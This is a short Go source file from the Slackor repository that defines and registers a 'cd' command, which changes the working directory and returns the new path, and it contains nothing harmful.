github.com/Coalfire-Research/Slackor@v0.0.0-20191010164036-aa32a7f9250b/pkg/common/cd.go (about)

     1  package common
     2  
     3  import (
     4  	"errors"
     5  	"os"
     6  
     7  	"github.com/Coalfire-Research/Slackor/pkg/command"
     8  )
     9  
    10  // CD changes the current working directory
    11  type CD struct{}
    12  
    13  // Name is the name of the command
    14  func (c CD) Name() string {
    15  	return "cd"
    16  }
    17  
    18  // Run changes the current working directory
    19  func (c CD) Run(clientID string, jobID string, args []string) (string, error) {
    20  	if len(args) != 1 {
    21  		return "", errors.New("cd takes 1 argument")
    22  	}
    23  	os.Chdir(args[0])
    24  	return os.Getwd()
    25  }
    26  
    27  func init() {
    28  	command.RegisterCommand(CD{})
    29  }